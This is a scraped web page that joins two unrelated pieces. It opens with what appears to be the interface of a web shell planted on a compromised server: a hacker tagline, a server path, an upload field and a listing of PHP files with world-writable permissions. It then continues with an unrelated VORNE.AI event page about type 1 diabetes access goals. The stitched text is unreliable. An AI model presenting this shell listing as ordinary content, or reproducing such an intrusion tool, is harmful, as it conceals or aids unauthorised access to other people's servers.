I am a hacker in the dark of a very cold night

path :/var/www/html/vorne.webheaydemo.com

upload file:

List of files:

name file size edit permission action
AbstractClassPass.php2377 KBMarch 16 2024 13:23:000666
AssignThisVariablePass.php1119 KBMarch 16 2024 13:23:000666
CallTimePassByReferencePass.php1612 KBMarch 16 2024 13:23:000666
CalledClassPass.php2741 KBMarch 16 2024 13:23:000666
CodeCleanerPass.php415 KBMarch 16 2024 13:23:000666
EmptyArrayDimFetchPass.php2030 KBMarch 16 2024 13:23:000666
ExitPass.php859 KBMarch 16 2024 13:23:000666
FinalClassPass.php1786 KBMarch 16 2024 13:23:000666
FunctionContextPass.php1568 KBMarch 16 2024 13:23:000666
FunctionReturnInWriteContextPass.php2750 KBMarch 16 2024 13:23:000666
ImplicitReturnPass.php4215 KBMarch 16 2024 13:23:000666
IssetPass.php1406 KBMarch 16 2024 13:23:000666
LabelContextPass.php2648 KBMarch 16 2024 13:23:000666
LeavePsyshAlonePass.php992 KBMarch 16 2024 13:23:000666
ListPass.php2796 KBMarch 16 2024 13:23:000666
LoopContextPass.php3805 KBMarch 16 2024 13:23:000666
MagicConstantsPass.php1068 KBMarch 16 2024 13:23:000666
NamespaceAwarePass.php2318 KBMarch 16 2024 13:23:000666
NamespacePass.php2821 KBMarch 16 2024 13:23:000666
NoReturnValue.php828 KBMarch 16 2024 13:23:000666
PassableByReferencePass.php4212 KBMarch 16 2024 13:23:000666
RequirePass.php4746 KBMarch 16 2024 13:23:000666
ReturnTypePass.php3484 KBMarch 16 2024 13:23:000666
StrictTypesPass.php2851 KBMarch 16 2024 13:23:000666
UseStatementPass.php4758 KBMarch 16 2024 13:23:000666
ValidClassNamePass.php9384 KBMarch 16 2024 13:23:000666
ValidConstructorPass.php4096 KBMarch 16 2024 13:23:000666
ValidFunctionNamePass.php2424 KBMarch 16 2024 13:23:000666
VORNE.AI - Event Details
Reaching Diabetes Global Compact Goals
29 May
2024
CHIEF

Reaching Diabetes Global Compact Goals

At the 75th World Health Assembly, a coverage target for people living with type 1 diabetes (T1D) was introduced: 100% of people with type 1 diabetes should have access to affordable insulin and blood glucose self-monitoring. It is estimated that more than 1 million children live with T1D. No international and limited national data currently exist on the incidence and prevalence of T1D. Explore lessons for leapfrogging data systems for Type 1 Diabetes in this interactive session.

Wednesday 29 May | 08H00-10H00 | Intercontinental Hotel, Ballroom A

Tags: